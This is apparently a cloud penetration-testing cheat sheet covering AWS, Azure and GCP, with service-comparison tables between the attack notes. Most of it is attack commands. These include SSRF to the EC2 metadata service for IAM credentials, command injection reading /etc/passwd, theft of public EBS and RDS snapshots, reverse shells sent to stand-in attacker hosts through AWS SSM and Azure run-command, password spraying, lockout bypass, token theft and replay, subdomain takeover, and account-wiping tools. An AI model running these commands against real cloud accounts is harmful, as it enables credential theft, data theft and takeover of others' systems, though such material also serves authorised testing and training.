export AWS_DEFAULT_REGION=
aws sts get-caller-identity
aws s3 ls
aws s3 ls s3://bucket.com
aws s3 ls --recursive s3://bucket.com
aws iam get-account-password-policy
aws sts get-session-token
# AWS nuke - remove all AWS services of our account
# https://github.com/rebuy-de/aws-nuke
- Fill nuke-config.yml with the output of aws sts get-caller-identity
./aws-nuke -c nuke-config.yml # Checks what will be removed
- If fails because there is no alias created
aws iam create-account-alias --account-alias unique-name
./aws-nuke -c nuke-config.yml --no-dry-run # Will perform delete operation
# Cloud Nuke
# https://github.com/gruntwork-io/cloud-nuke
cloud-nuke aws
EC2 example attacks
# Like traditional host
- Port enumeration
- Attack interesting services like ssh or rdp
# SSRF to http://169.254.169.254 (Metadata server)
curl http://<ec2-ip-address>/\?url\=http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/public-hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/network/interfaces/
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key/
http://169.254.169.254/latest/user-data
# Find IAM Security Credentials
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Using EC2 instance metadata tool
ec2-metadata -h
# With EC2 Instance Meta Data Service version 2 (IMDSv2):
Append X-aws-ec2-metadata-token Header generated with a PUT request to http://169.254.169.254/latest/api/token
# Check directly for metadata instance
curl -s http://<ec2-ip-address>/latest/meta-data/ -H 'Host:169.254.169.254'
AWS Lambda
# Welcome to serverless!!!!
# AWS Lambda, essentially are short lived servers that run your function and provide you with output that can be then used in other applications or consumed by other endpoints.
# OS command Injection in Lambda
curl "https://API-endpoint/api/stringhere"
# For a md5 converter endpoint "https://API-endpoint/api/hello;id;w;cat%20%2fetc%2fpasswd"
aws lambda list-functions --profile stolen
aws lambda get-function --function-name <FUNCTION-NAME> --profile stolen
AWS Inspector
# Amazon Inspector is an automated security assessment service that helps improve the security and compliance of applications deployed on AWS.
S3 examples attacks
# S3 Bucket Pillaging
• GOAL: Locate Amazon S3 buckets and search them for interesting data
• In this lab you will attempt to identify a publicly accessible S3 bucket hosted by an organization. After identifying it you will list out the contents of it and download the files hosted there.
~$ sudo apt-get install python3-pip
~$ git clone https://github.com/RhinoSecurityLabs/pacu
~$ cd pacu
~$ sudo bash install.sh
~$ sudo aws configure
~$ sudo python3 pacu.py
Pacu > import_keys --all
# Search by domain
Pacu > run s3__bucket_finder -d glitchcloud
# List files in bucket
Pacu > aws s3 ls s3://glitchcloud
# Download files
Pacu > aws s3 sync s3://glitchcloud s3-files-dir
# S3 Code Injection
• Backdoor JavaScript in S3 Buckets used by webapps
• In March, 2018 a crypto-miner malware was found to be loading on MSN’s homepage
• This was due to AOL’s advertising platform having a writeable S3 bucket, which was being served by MSN
• If a webapp is loading content from an S3 bucket made publicly writeable attackers can upload malicious JS to get executed by visitors
• Can perform XSS-type attacks against webapp visitors
• Hook browser with Beef
# Domain Hijacking
• Hijack S3 domain by finding references in a webapp to S3 buckets that don’t exist anymore
• Or… subdomains that were linked to an S3 bucket with CNAME’s that still exist
• When assessing webapps look for 404’s to *.s3.amazonaws.com
• When brute forcing subdomains for an org look for 404’s with ‘NoSuchBucket’ error
• Go create the S3 bucket with the same name and region
• Load malicious content to the new S3 bucket that will be executed when visitors hit the site
EBS attack example
# Discover EBS Snapshot and mount it to navigate
- Obtaning public snapshot name
aws ec2 describe-snapshots --region us-east-1 --restorable-by-user-ids all | grep -C 10 "company secrets"
- Obtaining zone and instance
aws ec2 describe-instances --filters Name=tag:Name,Values=attacker-machine
- Create a new volume of it
aws ec2 create-volume --snapshot-id snap-03616657ede4b9862 --availability-zone <ZONE-HERE>
- Attach to an EC2 instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
- It takes some time, to see the status:
aws ec2 describe-volumes --filters Name=volume-id,Values=<VOLUME-ID>
- Once is mounted in EC2 instance, check it, mount it and access it:
sudo lsblk
sudo mount /dev/xvdh1 /mnt
cd /mnt/home/user/companydata
AWS RDS (DB) attacks
# Just like a MySQL, try for sqli!
# Check if 3306 is exposed
# Sqlmap is your friend ;)
# Stealing RDS Snapshots
- Searching partial snapshots
aws rds describe-db-snapshots --include-public --snapshot-type public --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup
- Restore in instance
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier recoverdb --publicly-accessible --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup --availability-zone us-east-1b
- Once restored, try to access
aws rds describe-db-instances --db-instance-identifier recoverdb
- Reset the master credentials
aws rds modify-db-instance --db-instance-identifier recoverdb --master-user-password NewPassword1 --apply-immediately
- Takes some time, you can check the status:
aws rds describe-db-instances
- Try to access it from EC2 instance which was restored
nc rds-endpoint 3306 -zvv
- If you can't see, you may open 3306:
- In RDS console, click on the recoverdb instance
- Click on the Security Group
- Add an Inbound rule for port 3306 TCP for Cloudhacker IP
- Then connect it
mysql -u <username> -p -h <rds-instance-endpoint>
AWS Systems Manager
# AWS SSM
- The agent must be installed in the machines
- It's used to create roles and policies
# Executing commands
aws ssm describe-instance-information #Get instance
- Get "ifconfig" commandId
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP config" --parameters commands=ifconfig --output text --query "Command.CommandId"
- Execute CommandID generated for ifconfig
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}"
# Getting shell
- You already need to have reverse.sh uploaded to s3
#!/bin/bash
bash -i >& /dev/tcp/REVERSE-SHELL-CATCHER/9999 0>&1
- Start your listener
aws ssm send-command --document-name "AWS-RunRemoteScript" --instance-ids "INSTANCE-ID-HERE" --parameters '{"sourceType":["S3"],"sourceInfo":["{\"path\":\"PATH-TO-S3-SHELL-SCRIPT\"}"],"commandLine":["/bin/bash NAME-OF-SHELL-SCRIPT"]}' --query "Command.CommandId"
Aws Services Summary
AWS Service | Should have been called | Use this to | It's like |
---|---|---|---|
EC2 | Amazon Virtual Servers | Host the bits of things you think of as a computer. | It's handwavy, but EC2 instances are similar to the virtual private servers you'd get at Linode, DigitalOcean or Rackspace. |
IAM | Users, Keys and Certs | Set up additional users, set up new AWS Keys and policies. | |
S3 | Amazon Unlimited FTP Server | Store images and other assets for websites. Keep backups and share files between services. Host static websites. Also, many of the other AWS services write and read from S3. | |
VPC | Amazon Virtual Colocated Rack | Overcome objections that "all our stuff is on the internet!" by adding an additional layer of security. Makes it appear as if all of your AWS services are on the same little network instead of being small pieces in a much bigger network. | If you're familar with networking: VLANs |
Lambda | AWS App Scripts | Run little self contained snippets of JS, Java or Python to do discrete tasks. Sort of a combination of a queue and execution in one. Used for storing and then executing changes to your AWS setup or responding to events in S3 or DynamoDB. | |
API Gateway | API Proxy | Proxy your apps API through this so you can throttle bad client traffic, test new versions, and present methods more cleanly. | 3Scale |
RDS | Amazon SQL | Be your app's Mysql, Postgres, and Oracle database. | Heroku Postgres |
Route53 | Amazon DNS + Domains | Buy a new domain and set up the DNS records for that domain. | DNSimple, GoDaddy, Gandi |
SES | Amazon Transactional Email | Send one-off emails like password resets, notifications, etc. You could use it to send a newsletter if you wrote all the code, but that's not a great idea. | SendGrid, Mandrill, Postmark |
Cloudfront | Amazon CDN | Make your websites load faster by spreading out static file delivery to be closer to where your users are. | MaxCDN, Akamai |
CloudSearch | Amazon Fulltext Search | Pull in data on S3 or in RDS and then search it for every instance of 'Jimmy.' | Sphinx, Solr, ElasticSearch |
DynamoDB | Amazon NoSQL | Be your app's massively scalable key valueish store. | MongoLab |
Elasticache | Amazon Memcached | Be your app's Memcached or Redis. | Redis to Go, Memcachier |
Elastic Transcoder | Amazon Beginning Cut Pro | Deal with video weirdness (change formats, compress, etc.). | |
SQS | Amazon Queue | Store data for future processing in a queue. The lingo for this is storing "messages" but it doesn't have anything to do with email or SMS. SQS doesn't have any logic, it's just a place to put things and take things out. | RabbitMQ, Sidekiq |
WAF | AWS Firewall | Block bad requests to Cloudfront protected sites (aka stop people trying 10,000 passwords against /wp-admin) | Sophos, Kapersky |
Cognito | Amazon OAuth as a Service | Give end users - (non AWS) - the ability to log in with Google, Facebook, etc. | OAuth.io |
Device Farm | Amazon Drawer of Old Android Devices | Test your app on a bunch of different IOS and Android devices simultaneously. | MobileTest, iOS emulator |
Mobile Analytics | Spot on Name, Amazon Product Managers take note | Track what people are doing inside of your app. | Flurry |
SNS | Amazon Messenger | Send mobile notifications, emails and/or SMS messages | UrbanAirship, Twilio |
CodeCommit | Amazon GitHub | Version control your code - hosted Git. | Github, BitBucket |
Code Deploy | Not bad | Get your code from your CodeCommit repo (or Github) onto a bunch of EC2 instances in a sane way. | Heroku, Capistrano |
CodePipeline | Amazon Continuous Integration | Run automated tests on your code and then do stuff with it depending on if it passes those tests. | CircleCI, Travis |
EC2 Container Service | Amazon Docker as a Service | Put a Dockerfile into an EC2 instance so you can run a website. | |
Elastic Beanstalk | Amazon Platform as a Service | Move your app hosted on Heroku to AWS when it gets too expensive. | Heroku, BlueMix, Modulus |
AppStream | Amazon Citrix | Put a copy of a Windows application on a Windows machine that people get remote access to. | Citrix, RDP |
Direct Connect | Pretty spot on actually | Pay your Telco + AWS to get a dedicated leased line from your data center or network to AWS. Cheaper than Internet out for Data. | A toll road turnpike bypassing the crowded side streets. |
Directory Service | Pretty spot on actually | Tie together other apps that need a Microsoft Active Directory to control them. | |
WorkDocs | Amazon Unstructured Files | Share Word Docs with your colleagues. | Dropbox, DataAnywhere |
WorkMail | Amazon Company Email | Give everyone in your company the same email system and calendar. | Google Apps for Domains |
Workspaces | Amazon Remote Computer | Gives you a standard windows desktop that you're remotely controlling. | |
Service Catalog | Amazon Setup Already | Give other AWS users in your group access to preset apps you've built so they don't have to read guides like this. | |
Storage Gateway | S3 pretending it's part of your corporate network | Stop buying more storage to keep Word Docs on. Make automating getting files into S3 from your corporate network easier. | |
Data Pipeline | Amazon ETL | Extract, Transform and Load data from elsewhere in AWS. Schedule when it happens and get alerts when they fail. | |
Elastic Map Reduce | Amazon Hadooper | Iterate over massive text files of raw data that you're keeping in S3. | Treasure Data |
Glacier | Really slow Amazon S3 | Make backups of your backups that you keep on S3. Also, beware the cost of getting data back out in a hurry. For long term archiving. | |
Kinesis | Amazon High Throughput | Ingest lots of data very quickly (for things like analytics or people retweeting Kanye) that you then later use other AWS services to analyze. | Kafka |
RedShift | Amazon Data Warehouse | Store a whole bunch of analytics data, do some processing, and dump it out. | |
Machine Learning | Skynet | Predict future behavior from existing data for problems like fraud detection or "people that bought x also bought y." | |
SWF | Amazon EC2 Queue | Build a service of "deciders" and "workers" on top of EC2 to accomplish a set task. Unlike SQS - logic is set up inside the service to determine how and what should happen. | IronWorker |
Snowball | AWS Big Old Portable Storage | Get a bunch of hard drives you can attach to your network to make getting large amounts (Terabytes of Data) into and out of AWS. | Shipping a Network Attached Storage device to AWS |
CloudFormation | Amazon Services Setup | Set up a bunch of connected AWS services in one go. | |
CloudTrail | Amazon Logging | Log who is doing what in your AWS stack (API calls). | |
CloudWatch | Amazon Status Pager | Get alerts about AWS services messing up or disconnecting. | PagerDuty, Statuspage |
Config | Amazon Configuration Management | Keep from going insane if you have a large AWS setup and changes are happening that you want to track. | |
OpsWorks | Amazon Chef | Handle running your application with things like auto-scaling. | |
Trusted Advisor | Amazon Pennypincher | Find out where you're paying too much in your AWS setup (unused EC2 instances, etc.). | |
Inspector | Amazon Auditor | Scans your AWS setup to determine if you've setup it up in an insecure way | Alert Logic |
Azure
**Tools**
# ROADtools https://github.com/dirkjanm/ROADtools
◇ Dumps all Azure AD info from the Microsoft Graph API
◇ Has a GUI for interacting with the data
◇ Plugin for BloodHound with connections to on-prem AD accounts if DirSync is enabled
• PowerMeta https://github.com/dafthack/PowerMeta
• MicroBurst https://github.com/NetSPI/MicroBurst
• ScoutSuite https://github.com/nccgroup/ScoutSuite
• PowerZure https://github.com/hausec/PowerZure
• https://github.com/fox-it/adconnectdump
# Azurite https://github.com/FSecureLABS/Azurite
• https://github.com/mburrough/pentestingazureapps
Auth methods:
• Password Hash Synchronization
◇ Azure AD Connect
◇ On-prem service synchronizes hashed user credentials to Azure
◇ User can authenticate directly to Azure services like O365 with their internal domain credential
• Pass Through Authentication
◇ Credentials stored only on-prem
◇ On-prem agent validates authentication requests to Azure AD
◇ Allows SSO to other Azure apps without creds stored in cloud
• Active Directory Federation Services (ADFS)
◇ Credentials stored only on-prem
◇ Federated trust is setup between Azure and on-prem AD to validate auth requests to the cloud
◇ For password attacks you would have to auth to the on-prem ADFS portal instead of Azure endpoints
• Certificate-based auth
◇ Client certs for authentication to API
◇ Certificate management in legacy Azure Service Management (ASM) makes it impossible to know who created a cert (persistence potential)
◇ Service Principals can be setup with certs to auth
• Conditional access policies
• Long-term access tokens
◇ Authentication to Azure with oAuth tokens
◇ Desktop CLI tools that can be used to auth store access tokens on disk
◇ These tokens can be reused on other MS endpoints
◇ We have a lab on this later!
• Legacy authentication portals
Recon:
• O365 Usage
◇ https://login.microsoftonline.com/getuserrealm.srf?login=username@acmecomputercompany.com&xml=1
◇ https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/test@targetdomain.com?Protocol=Autodiscoverv1
• User enumeration on Azure can be performed at
https://login.Microsoft.com/common/oauth2/token
▪ This endpoint tells you if a user exists or not
◇ Detect invalid users while password spraying with:
▪ https://github.com/dafthack/MSOLSpray
◇ For on-prem OWA/EWS you can enumerate users with timing attacks (MailSniper)
Microsoft Azure Storage:
• Microsoft Azure Storage is like Amazon S3
• Blob storage is for unstructured data
• Containers and blobs can be publicly accessible via access policies
• Predictable URL’s at core.windows.net
◇ storage-account-name.blob.core.windows.net
◇ storage-account-name.file.core.windows.net
◇ storage-account-name.table.core.windows.net
◇ storage-account-name.queue.core.windows.net
• The “Blob” access policy means anyone can anonymously read blobs, but can’t list the blobs in the container
• The “Container” access policy allows for listing containers and blobs
• Microburst https://github.com/NetSPI/MicroBurst
◇ Invoke-EnumerateAzureBlobs
◇ Brute forces storage account names, containers, and files
◇ Uses permutations to discover storage accounts
PS > Invoke-EnumerateAzureBlobs –Base
Password Attacks
• Password Spraying Microsoft Online (Azure/O365)
• Can spray https://login.microsoftonline.com
--
POST /common/oauth2/token HTTP/1.1
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Host: login.microsoftonline.com
Content-Length: 195
Expect: 100-continue
Connection: close
resource=https%3A%2F%2Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-
dac224a7b894&client_info=1&grant_type=password&username=user%40targetdomain.com&passwor
d=Winter2020&scope=openid
--
• MSOLSpray https://github.com/dafthack/MSOLSpray
◇ The script logs:
▪ If a user cred is valid
▪ If MFA is enabled on the account
▪ If a tenant doesn't exist
▪ If a user doesn't exist
▪ If the account is locked
▪ If the account is disabled
▪ If the password is expired
◇ https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes
Password protections & Smart Lockout
• Azure Password Protection – Prevents users from picking passwords with certain words like seasons, company name, etc.
• Azure Smart Lockout – Locks out auth attempts whenever brute force or spray attempts are detected.
◇ Can be bypassed with FireProx + MSOLSpray
◇ https://github.com/ustayready/fireprox
Phising session hijack
• Evilginx2 and Modlishka
◇ MitM frameworks for harvesting creds/sessions
◇ Can also evade 2FA by riding user sessions
• With a hijacked session we need to move fast
• Session timeouts can limit access
• Persistence is necessary
Steal Access Tokens
• Azure Cloud Service Packages (.cspkg)
• Deployment files created by Visual Studio
• Possible other Azure service integration (SQL, Storage, etc.)
• Look through cspkg zip files for creds/certs
• Search Visual Studio Publish directory
\bin\debug\publish
• Azure Publish Settings files (.publishsettings)
◇ Designed to make it easier for developers to push code to Azure
◇ Can contain a Base64 encoded Management Certificate
◇ Sometimes cleartext credentials
◇ Open publishsettings file in text editor
◇ Save “ManagementCertificate” section into a new .pfx file
◇ There is no password for the pfx
◇ Search the user’s Downloads directory and VS projects
• Check %USERPROFILE&\.azure\ for auth tokens
• During an authenticated session with the Az PowerShell module a TokenCache.dat file gets generated in the %USERPROFILE%\.azure\ folder.
• Also search disk for other saved context files (.json)
• Multiple tokens can exist in the same context file
Post-Compromise
• What can we learn with a basic user?
• Subscription Info
• User Info
• Resource Groups
• Scavenging Runbooks for Creds
• Standard users can access Azure domain information and isn’t usually locked down
• Authenticated users can go to portal.azure.com and click Azure Active Directory
• O365 Global Address List has this info as well
• Even if portal is locked down PowerShell cmdlets will still likely work
• There is a company-wide setting that locks down the entire org from viewing Azure info via cmd line: Set-MsolCompanySettings – UsersPermissionToReadOtherUsersEnabled $false
Azure: CLI Access
• Azure Service Management (ASM or Azure “Classic”)
◇ Legacy and recommended to not use
• Azure Resource Manager (ARM)
◇ Added service principals, resource groups, and more
◇ Management Certs not supported
• PowerShell Modules
◇ Az, AzureAD & MSOnline
• Azure Cross-platform CLI Tools
◇ Linux and Windows client
Azure: Subscriptions
• Organizations can have multiple subscriptions
• A good first step is to determine what subscription you are in
• The subscription name is usually informative
• It might have “Prod”, or “Dev” in the title
• Multiple subscriptions can be under the same Azure AD directory (tenant)
• Each subscription can have multiple resource groups
Azure User Information
• Built-In Azure Subscription Roles
◇ Owner (full control over resource)
◇ Contributor (All rights except the ability to change permissions)
◇ Reader (can only read attributes)
◇ User Access Administrator (manage user access to Azure resources)
• Get the current user’s role assignement
PS> Get-AzRoleAssignment
• If the Azure portal is locked down it is still possible to access Azure AD user information via MSOnline cmdlets
• The below examples enumerate users and groups
PS> Get-MSolUser -All
PS> Get-MSolGroup –All
PS> Get-MSolGroupMember –GroupObjectId
• Pipe Get-MSolUser –All to format list to get all user attributes
PS> Get-MSolUser –All | fl
Azure Resource Groups
• Resource Groups collect various services for easier management
• Recon can help identify the relationships between services such as WebApps and SQL
PS> Get-AzResource
PS> Get-AzResourceGroup
Azure: Runbooks
• Azure Runbooks automate various tasks in Azure
• Require an Automation Account and can contain sensitive information like passwords
PS> Get-AzAutomationAccount
PS> Get-AzAutomationRunbook -AutomationAccountName -ResourceGroupName
• Export a runbook with:
PS> Export-AzAutomationRunbook -AutomationAccountName -ResourceGroupName -Name -OutputFolder .\Desktop\
Quick 1-liner to search all Azure AD user attributes for passwords after auth'ing with Connect-MsolService: $x=Get-MsolUser;foreach($u in $x){$p = @();$u|gm|%{$p+=$_.Name};ForEach($s in $p){if($u.$s -like "*password*"){Write("[*]"+$u.UserPrincipalName+"["+$s+"]"+" : "+$u.$s)}}}
https://www.synacktiv.com/posts/pentest/azure-ad-introduction-for-red-teamers.html
# Removing Azure services
- Under Azure Portal -> Resource Groups
Azure attacks examples
# Password spraying
https://github.com/dafthack/MSOLSpray/MSOLSpray.ps1
Create a text file with ten (10) fake users we will spray along with your own user account (YourAzureADUser@youraccount.onmicrosoft.com ). (Do not spray accounts you do not own. You may use my domain “glitchcloud.com” for generating fake target users) and save as userlist.txt
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password [the password you set for your test account]
# Access Token
PS> Import-Module Az
PS> Connect-AzAccount
PS> mkdir C:\Temp
PS> Save-AzContext –Path C:\Temp\AzureAccessToken.json
PS> mkdir “C:\Temp\Live Tokens”
Open Windows Explorer and type %USERPROFILE%\.Azure\ and hit enter
• Copy TokenCache.dat & AzureRmContext.json to C:\Temp\Live Tokens
• Now close your authenticated PowerShell window!
Delete everything in %USERPROFILE%\.azure\
• Start a brand new PowerShell window and run:
PS> Import-Module Az
PS> Get-AzContext -ListAvailable
• You shouldn’t see any available contexts currently
• In your PowerShell window let’s manipulate the stolen TokenCache.dat and AzureRmContext.json files so we can import it into our PowerShell session
PS> $bytes = Get-Content "C:\Temp\Live Tokens\TokenCache.dat" -Encoding byte
PS> $b64 = [Convert]::ToBase64String($bytes)
PS> Add-Content "C:\Temp\Live Tokens\b64-token.txt" $b64
• Now let’s add the b64-token.txt to the AzureRmContext.json file.
• Open the C:\Temp\Live Tokens folder.
• Open AzureRmContext.json file in a notepad and find the line near the end of the file title “CacheData”. It should be null.
• Delete the word “null” on this line
• Where “null” was add two quotation marks (“”) and then paste the contents of b64-token.txt in between them.
• Save this file as C:\Temp\Live Tokens\StolenToken.json
• Let’s import the new token
PS> Import-AzContext -Profile 'C:\Temp\Live Tokens\StolenToken.json’
• We are now operating in an authenticated session to Azure
PS> $context = Get-AzContext
PS> $context.Account
• You can import the previously exported context (AzureAccessToken.json) the same way
# Azure situational awareness
• GOAL: Use the MSOnline and Az PowerShell modules to do basic enumeration of an Azure account post-compromise.
• In this lab you will authenticate to Azure using your Azure AD account you setup. Then, you will import the MSOnline and Az PowerShell modules and try out some of the various modules that assist in enumerating Azure resource usage.
• Start a new PowerShell window and import both the MSOnline and Az modules
PS> Import-Module MSOnline
PS> Import-Module Az
• Authenticate to each service with your Azure AD account:
PS> Connect-AzAccount
PS> Connect-MsolService
• First get some basic Azure information
PS> Get-MSolCompanyInformation
• Some interesting items here are
◇ UsersPermissionToReadOtherUsersEnabled
◇ DirSyncServiceAccount
◇ PasswordSynchronizationEnabled
◇ Address/phone/emails
• Next, we will start looking at the subscriptions associated with the account as well as look at the current context we are operating in. Look at the “Name” of the subscription and context for possible indication as to what it is associated with.
PS> Get-AzSubscription
PS> $context = Get-AzContext
PS> $context.Name
PS> $context.Account
• Enumerating the roles assigned to your user will help identify what permissions you might have on the subscription as well as who to target for escalation.
PS> Get-AzRoleAssignment
• List out the users on the subscription. This is the equivalent of “net users /domain” in on-prem AD
PS> Get-MSolUser -All
• The user you setup likely doesn’t have any resources currently associated with it, but these commands will help to understand the specific resources a user you gain access to has.
PS> Get-AzResource
PS> Get-AzResourceGroup
• There are many other functions.
• Use Get-Module to list out the other Az module groups
• To list out functions available within each module use the below command substituting the value of the “Name” parameter.
PS> Get-Module -Name Az.Accounts | Select-Object -ExpandProperty ExportedCommands
PS> Get-Module -Name MSOnline | Select-Object -ExpandProperty ExportedCommands
Azure Block Blobs(S3 equivalent) attacks
# Discovering with Google Dorks
site:*.blob.core.windows.net
site:*.blob.core.windows.net ext:xlsx | ext:csv "password"
# Discovering with Dns enumeration
python dnscan.py -d blob.core.windows.net -w subdomains-100.txt
# When you found one try with curl, an empty container respond with 400
Other Azure Services
# Azure App Services Subdomain Takeover
- For target example.com you found users.example.com
- Go https://users.galaxybutter.com and got an error
- dig CNAME users.galaxybutter.com and get an Azure App Services probably deprecated or removed
- Creat an App Service and point it to the missing CNAME
- Add a custom domain to the App Service
- Show custom content
# PoC from Forward DNS dataset
# This data is created by extracting domain names from a number of sources and then sending DNS queries for each domain.
https://opendata.rapid7.com/sonar.fdns_v2/
cat CNAME-DATASET-NAME | pigz -dc | grep -E "\.azurewebsites\.com"
cat CNAME-DATASET-NAME | pigz -dc | grep -E "\.s3\.amazonaws\.com"
# Azure Run Command
# Feature that allows you to execute commands without requiring SSH or SMB/RDP access to a machine. This is very similar to AWS SSM.
az login --use-device-code #Login
az group list #List groups
az vm list -g GROUP-NAME #List VMs inside group
#Linux VM
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunShellScript --scripts "id"
#Windos VM
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunPowerShellScript --scripts "whoami"
# Linux Reverse Shell Azure Command
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunShellScript --scripts "bash -c \"bash -i >& /dev/tcp/ATTACKER-EXTERNAL-IP/9090 0>&1\""
# Azure SQL Databases
- MSSQL syntaxis
- Dorks: "database.windows.net" site:pastebin.com
Azure Services Summary
Base services
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
Virtual Machines | Servers | Move existing apps to the cloud without changing them. You manage the entire computer. | EC2 |
Cloud Services | Managed Virtual Machines | Run applications on virtual machines that you don't have to manage, but can partially manage. | |
Batch | Azure Distributed Processing | Work on a large chunk of data by divvying it up between a whole bunch of machines. | |
RemoteApp | Remote Desktop for Apps | Expose non-web apps to users. For example, run Excel on your iPad. | AppStream |
Web Apps | Web Site Host | Run websites (.NET, Node.js, etc.) without managing anything extra. Scale automatically and easily. | Elastic Beanstalk |
Mobile Apps | Mobile App Accelerator | Quickly get an app backend up and running. | |
Logic Apps | Visio for Doing Stuff | Chain steps together to get stuff done. | |
API Apps | API Host | Host your API's without any of the management overhead. | |
API Management | API Proxy | Expose an API and off-load things like billing, authentication, and caching. | API Gateway |
Mobile
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
Notification Hubs | Notification Blaster | Send notifications to all of your users, or groups of users based on things like zip code. All platforms. | SNS |
Mobile Engagement | Mobile Psychic | Track what users are doing in your app, and customize experience based on this data. |
Storage
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
SQL Database | Azure SQL | Use the power of a SQL Server cluster without having to manage it. | RDS |
Document DB | Azure NoSQL | Use an unstructured JSON database without having to manage it. | Dynamo DB |
Redis Cache | Easy Cache | Cache files in memory in a scalable way. | Elasticache |
Storage Blobs | Cloud File System | Store files, virtual disks, and build other storage services on top of. | S3 |
Azure Search | Index & Search | Add search capabilities to your website, or index data stored somewhere else. | CloudSearch |
SQL Data Warehouse | Structured Report Database | Store all of your company's data in a structured format for reporting. | RedShift |
Azure Data Lake | Unstructured Report Database | Store all of your company's data in any format for reporting. | |
HDInsight | Hosted Hadoop | Do Hadoopy things with massive amounts of data. | |
Machine Learning | Skynet | Train AI to predict the future using existing data. Examples include credit card fraud detection and Netflix movie recommendations. | |
Stream Analytics | Real-time data query | Look for patterns in data as it arrives. | |
Data Factory | Azure ETL | Orchestrate extract, transform, and load data processes. | Data Pipeline |
Event Hubs | IoT Ingestor | Ingest data at ANY scale inexpensively. |
Networking
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
Virtual Network | Private Network | Put machines on the same, private network so that they talk to each other directly and privately. Expose services to the internet as needed. | |
ExpressRoute | Fiber to Azure | Connect privately over an insanely fast pipe to an Azure datacenter. Make your local network part of your Azure network. | Direct Connect |
Load Balancer | Load Balancer | Split load between multiple services, and handle failures. | |
Traffic Manager | Datacenter Load Balancer | Split load between multiple datacenters, and handle datacenter outages. | |
DNS | DNS Provider | Run a DNS server so that your domain names map to the correct IP addresses. | Route53 |
VPN Gateway | Virtual Fiber to Azure | Connect privately to an Azure datacenter. Make your local network part of your Azure network. | |
Application Gateway | Web Site Proxy | Proxy all of your HTTP traffic. Host your SSL certs. Load balance with sticky sessions. | |
CDN | CDN | Make your sites faster and more scalable by putting your static files on servers around the world close to your end users. | Cloudfront |
Media Services | Video Processor | Transcode video and distribute and manage it on the scale of the Olympics. | Elastic Transcoder |
Management
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
Azure Resource Manager | Declarative Configuration | Define your entire Azure architecture as a repeatable JSON file and deploy all at once. | CloudFormation |
Developer
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
Application Insights | App Analytics | View detailed information about how your apps (web, mobile, etc.) are used. | Mobile Analytics |
Service Fabric | Cloud App Framework | Build a cloud optimized application that can scale and handle failures inexpensively. |
GCP
**Tools**
# Hayat https://github.com/DenizParlak/hayat
Auth methods:
• Web Access
• API – OAuth 2.0 protocol
• Access tokens – short lived access tokens for service accounts
• JSON Key Files – Long-lived key-pairs
• Credentials can be federated
Recon:
• G-Suite Usage
◇ Try authenticating with a valid company email address at Gmail
Google Storage Buckets:
• Google Cloud Platform also has a storage service called “Buckets”
• Cloud_enum from Chris Moberly (@initstring) https://github.com/initstring/cloud_enum
◇ Awesome tool for scanning all three cloud services for buckets and more
▪ Enumerates:
- GCP open and protected buckets as well as Google App Engine sites
- Azure storage accounts, blob containers, hosted DBs, VMs, and WebApps
- AWS open and protected buckets
Phising G-Suite:
• Calendar Event Injection
• Silently injects events to target calendars
• No email required
• Google API allows to mark as accepted
• Bypasses the “don’t auto-add” setting
• Creates urgency w/ reminder notification
• Include link to phishing page
Steal Access Tokens:
• Google JSON Tokens and credentials.db
• JSON tokens typically used for service account access to GCP
• If a user authenticates with gcloud from an instance their creds get stored here:
~/.config/gcloud/credentials.db
sudo find /home -name "credentials.db"
• JSON can be used to authenticate with gcloud and ScoutSuite
Post-compromise
• Cloud Storage, Compute, SQL, Resource manager, IAM
• ScoutSuite from NCC group https://github.com/nccgroup/ScoutSuite
• Tool for auditing multiple different cloud security providers
• Create Google JSON token to auth as service account
gcp.sh
#!/bin/sh
set -- $(dig -t txt +short _cloud-netblocks.googleusercontent.com +trace)
included="" ip4=""
while [ $# -gt 0 ]; do
k="${1%%:*}" v="${1#*:}"
case "$k" in
include)
# only include once
if [ "${included% $v *}" = "${included}" ]; then
set -- "$@" $(dig -t txt +short "$v")
included=" $v $included"
fi
;;
ip4) ip4="$v $ip4" ;;
esac
shift
done
for i in $ip4; do
echo "$i"
done
Cloud OSINT
# Azure IP Ranges
https://azurerange.azurewebsites.net/
# AWS IP Range
https://ip-ranges.amazonaws.com/ip-ranges.json
- Get creation date
jq .createDate < ip-ranges.json
- Get info for specific region
jq '.prefixes[] | select(.region=="us-east-1")' < ip-ranges.json
- Get all IPs
jq -r '.prefixes | .[].ip_prefix' < ip-ranges.json
# Online services
https://viewdns.info/
https://securitytrails.com/
https://www.shodan.io/search?query=net%3A%2234.227.211.0%2F24%22
https://censys.io/ipv4?q=s3
# Google Dorks
site:*.amazonaws.com -www "compute"
site:*.amazonaws.com -www "compute" "ap-south-1"
site:pastebin.com "rds.amazonaws.com" "u " pass OR password
